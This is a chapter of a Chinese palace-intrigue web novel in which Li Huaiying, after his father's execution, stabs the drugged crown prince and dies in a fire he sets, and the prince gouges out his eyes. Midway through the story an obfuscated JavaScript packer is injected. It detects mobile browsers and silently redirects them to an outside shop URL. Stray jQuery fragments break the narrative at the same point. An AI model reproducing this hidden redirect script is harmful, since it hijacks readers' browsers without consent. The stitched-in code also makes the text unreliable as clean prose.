52. 第五十二章 李怀英之死
    “……所以你的意思是,你什么也不要?”

    顾东风正欲回答,门外却忽地传来一阵急促的脚步声。两人对视一眼,顾东风往四周环顾一圈,迅速钻到了桌下。

    谢云清:“……”

    “主子,那边情况有变,呼延真提早行动了。”

    长岩拿起茶壶就准备给自己倒水喝,茶壶悬空半晌,只淌下几滴水珠,长岩表情一滞,掀开茶盖一看,空空如也。

    谢云清轻咳一声,转移话题道:“我让你安插进去的人,弄进去了吗?”

    长岩点点头,“弄进去了。”

    说完,他又疑惑接道:“主子,水呢?”

    谢云清含糊回他:“喝完了。”

    说完顺便踹了不安分的顾东风一脚。

    长岩闻声,撇了撇嘴,不甘心地将茶壶放在桌上,才道:“好吧,主子,我有点渴了,出去找点水喝。”

    顾东风从桌下探出个头来,做了个口型:“赶紧让他走。”

    “……滚回去。”

    谢云清也做了个口型,眼见长岩都要走到外面了,腿都迈开一半了,两人都同时松了一口气了——长岩却又忽地停下脚步,转头朝着谢云清走去。

    “怎么?”

    “哦,主子,我想问问,你帮我报仇了吗,平遥被罚了吗?”

    谢云清嘴角抽了抽,但还是回道:“罚了。”

    长岩闻声,点了点头,道:“那就好。”

    得到自己想要的回答,长岩意满离。

    两人又同时松了口气。

    直到脚步声逐渐远去,顾东风才从桌下爬了出来,抱怨道:“你这小娃娃,怎么动不动就踹人,给我衣服都踹脏了。”

    谢云清这会儿回过味来了,皱眉问道:“你藏在桌底干什么?”

    顾东风心疼地拍了拍自己衣服上的灰,随口道:“我见不得人呗。”

    谢云清也分辨不出他究竟是在开玩笑还是在说真话,他犹豫半晌,移开目光,到底还是没出言讥讽他:“你拍错位置了,我踹的是你的手肘。”

    顾东风闻声,赶忙换了位置拍灰,还时不时往旁边戳着些什么,表情看起来颇为幽怨。

    谢云清斟酌着用词,试探性问他:“顾东风,你看不见东西吗?”

    “啥?”

    顾东风刚回过神来,只听见谢云清叫他,并没有听清他具体说的什么。

    谢云清深吸了一口气,还以为他是在故意戏耍自己,语气也变得不大好:“我说你是瞎子吗?”

    顾东风“啊”了一声,点点头诚恳道:“我是啊,所以你也可以叫我顾瞎子。”

    谢云清在他面前晃了晃手。

    没有眨眼,真是瞎的。

    谢云清收回手,眼神有些飘忽,低声道:“我以为你耍我玩呢,我不是故意的,对不起。”

    “这有什么的,我都瞎了几千……咳咳,没事,我不介意。”

    顾瞎子重重咳了几声,掩饰般道:“事成之后,给我你那个弓,还有裴晏华的那杆长枪就行了。”

    “你要来做什么?容安的长枪是爹那把,不能给你。”

    “不是裴卿书那把,至于我要来具体的作用……”

    顾瞎子对谢云清附耳低语着些什么,半晌之后,谢云清神色一滞,迟疑道:“你究竟是什么人?”

    顾瞎子爽朗一笑,“一个妄想改命,总想着和天道作对的痴儿罢了。”

    *

    半月后。

    宋程曦给李怀英理了理领口,叮嘱道:“等会儿宫宴开始,不论发生什么,都好好待在我身边,不要乱跑,知不知道?”

    李怀英点点头,道:“知道了。”

    “嗯,走吧。”

    李怀英环顾四周一圈,忽地停下脚步,道:“我想拿个东西过去。”

    “拿什么?”

    李怀英随手往远处一指,宋程曦“啧”了一声,本想开口拒绝,但在看到李怀英的眼睛后,又鬼使神差地将刻薄的话咽下了肚: “……赶紧去。”

    李怀英于是朝着远处走去,在那处翻翻找找半晌,他拿起东西,回到宋程曦身旁,道:“走吧。”

    两人并肩离去。

    冷清许久的皇宫似乎因为宫宴而短暂地热闹了起来,赴宴之人却各自心怀鬼胎。

    宋衍大病初愈,面色红润无比。美人在怀,宋衍被灌了一杯又一杯酒,醉醺醺地笑了几声。

    昏君做派,台下的大臣却早已司空见惯。他们眼神微微闪烁着,低着头一言不发。

    奸臣当道,外敌当前。

    大周气数已尽。

    觥筹交错间,一只陇客被人呈了上来。那陇客通体雪白,鸟喙鲜红,正站在笼中眨着眼睛。

    “陛下,陛下万寿无疆,万寿无疆!”

    宋衍闻声,来了兴趣,道:“李御史,这陇客是你训的?”

    闻声,李怀英猛地抬起了头。李连山起身朝着宋衍行了个礼,才道:“回陛下,这陇客是臣训的 ”

    宋程曦放下酒杯,意味不明接道:“李御史一向喜欢琢磨这些稀奇玩意儿,训鸟可不是件易事。”

    李怀英莫名有些不安,坐在原地焦躁无比。瞧见宋程晔给他抛了个安抚性的眼神,他才收回目光,心不在焉地喝了一口水。

    感受到李怀英的异样,宋程曦转头看他,“怎么,不舒服?”

    李怀英勉强点了点头,道:“人多,我不大适应。”

    “再等等,一会儿就结束了。”

    宋衍点了点头,笑眯眯道:“确实,这陇客训得不错,赏!”

    “谢陛下。”

    太监接过鸟笼,正欲转身离开之际,那鸟儿却忽地躁动了起来,开口骂道:“昏君,昏君!”

    “你不得好死!”

    席间忽地安静下来,李连山脸色一变,瞬间跪倒在地。

    李怀英想站起来,却被宋程曦死死按在了原地。那陇客仍在不停地咒骂着宋衍,宋衍缓缓移过目光,沉声道:“杀了。”

    血溅当场。

    李连山颤抖着身体,道:“陛下,臣是被陷害的!请陛下明察秋毫!”

    宋衍揉了揉眉心,道:“拖下去,斩了。”

    李怀英心头一惊,转头看向宋程曦,急切道:“我、我爹……”

    宋程曦放下茶杯,笑道:“虔安,本宫想了想,虽然你病了,但本宫还是不放心你。”

    “本宫说过,训鸟不是件易事,但本宫又实在太喜欢那只鸟了,那本宫能怎么办呢?”

    “当然是折断那只鸟的翅膀,弄瞎他的眼睛,让他再也飞不起来啊。”

    李怀英跪坐在地,思绪一团糟。

    不,不能急。

    李怀英攥着手心,强迫自己冷静了下来。

    宴会不欢而散。

    东宫,烛火婆娑。

    李怀英看着手中的信笺,身体不住颤抖着。

    宋程曦照旧将人尽数遣了出去,早已腐烂的眼球顺着信笺滚下地面。李怀英胸口因为剧烈呼吸而起伏着,他眼眶红得要命,眼泪像是断了线的珍珠,一滴又一滴淌下,浸湿了衣衫。

    傅启铃死了。

    他输了,输得彻彻底底。

    他保不住妹妹,保不住李家,更保不住自己了。

    宋程曦并未察觉到他的异样,随口道:“你妹妹我给安置在宫外了,你爹不是什么好人,我不放心他,干脆把他弄死了。”

    他的语气平淡无比,李怀英狠狠吸了一口气,起身在榻旁翻找着些什么。

    宋程曦懒得管他,兀自给自己倒了杯水喝。

    脚步声渐近。

    空气中忽地传来一股奇怪的味道,还未等宋程曦想明白那味道是什么,李怀英便猛地朝他扑来。

    他死死盯着宋程曦看,利刃在烛光照耀下闪着刺眼的光。

    “都怪你……都怪你!!!”

    “宋程曦,你果真还是不肯放过我,既然如此,那便随我一起下地狱罢!”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252110|151559||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    尖刃没入胸口,鲜血瞬间飚出。宋程曦想伸手反抗,却只觉眼前一晕,瞬间失了力气,瘫倒在地。

    痛意传来,宋程曦忍着头晕目眩,吃力开口道:

    “你给我下了药?”

    “是!我给你下了药。早在几个月前,我就已经恢复了记忆。我甚至给你下了一个月的药,你都未曾发觉。”

    “你多蠢啊,竟然对我毫无怀疑,哈哈哈……真是可笑,难道你还在妄想和我重归于好吗?”

    李怀英癫狂地笑了几声,紧接着,便是一连串的眼泪。他跪倒在宋程曦面前,握住刀刃,又狠狠往宋程曦心口捅了几刀,“你该死,你最该死!你害得我家破人亡,你害得我走投无路!我恨你!宋程曦!去死!你去死!”

    手心血肉被刀刃磨得模糊不清,隐隐约约甚至能听见与骨头碰撞的声音。李怀英脑中一阵耳鸣,往后一仰,跌坐在地。

    宋程曦的嘴在一张一合,他应该是在说些什么,可李怀英却完全听不清了。

    他要和宋程曦同归于尽。

    对,同归于尽。

    李怀英像是突然找到了要做的事情似的,匆匆忙忙从地上爬起,一股脑将点燃的蜡烛拂落在地。

    火焰瞬间窜起,灼烧着李怀英手背上的皮肤。他凄然一笑,跪倒在地,朝着门外磕了个头,“对不起,裴叔叔,是我鬼迷心窍,是我太过软弱。是我害得你们一家人天人永隔,是我李怀英对不起你们。”

    “对不起,容安,对不起,真的对不起……”

    他知道说对不起没用,可人总想着在临死之际忏悔。

    越忏悔,便越煎熬。

    裴家上下百余人间接死在他手中,他以为听从命令办事,宋程曦便会放过他。

    可他不知道的是,软弱从来都是自取灭亡。

    眼泪落下,却又迅速被火焰吞噬。李怀英躺在大火中,感受着浑身上下传来灼烧的疼痛,喃喃道:“对不起……”

    眼泪淌下脸庞,李怀英终于彻彻底底地崩溃了,捂着脸蜷缩在地上痛哭起来:“妹妹,爹娘,是我没用,是我没用……”

    眼泪滴落在地。

    火焰瞬间窜起,将李怀英吞噬殆尽。宋程曦目眦欲裂,拼尽全力爬到李怀英面前,不顾灼热的火焰,伸出手去死死拽住他,怒道:“本宫在你心里果然还是比不过裴晏华!李怀英!你当真没有心吗!”

    他眼眶红得要命,眼泪不断滑下,扑灭着火焰。

    李怀英淡淡看了他一眼,闭了闭眼,道:“宋程曦,我恨你。”

    宋程曦陡然失了力气,颓然松了手。

    火焰焚烧着李怀英的皮肉。

    直到李怀英失了气息,宋程曦方才回过神来,低头看着他。

    许久。

    宋程曦咳了几声,猛地伸出手将李怀英的眼珠生生挖了出来。他将眼珠牢牢放入怀中,语气疯狂:“李怀英,你生是我宋程曦的人,死是我宋程曦的鬼,你想就这么痛快地离去,我偏要留你在我身边!”

    “怀英,虔安……”

    “你逃不掉的。”

    宋程曦低头用嘴唇碰了碰李怀英的眼珠,痴痴笑了几声,方才用尽全身的力气爬到门前,哑声唤道:“云崖……云崖!”

    他的声音太过微弱,唤了许久,都没有人回应他。

    宋程曦心中忽地攀上了恐惧。

    难道他要死了吗?

    死在这冷冰冰的皇宫里,和他母后一样。

    不……他不想死。

    他不能死!

    宋程曦忍着痛意,用力唤道:“云崖!!”

    脚步声传来,宋程曦还以为是云崖,惊喜地抬头望去,却正正迎上了宋程晔的目光。

    四目相对,宋程晔勾了勾唇,“来人,把他压回去!”

    宋程曦闻声,眼前一黑,瞬间晕了过去。

    “灭火!给我把李怀英找出来,活要见人,死要见尸,找到的本殿重重有赏!”

    “是!”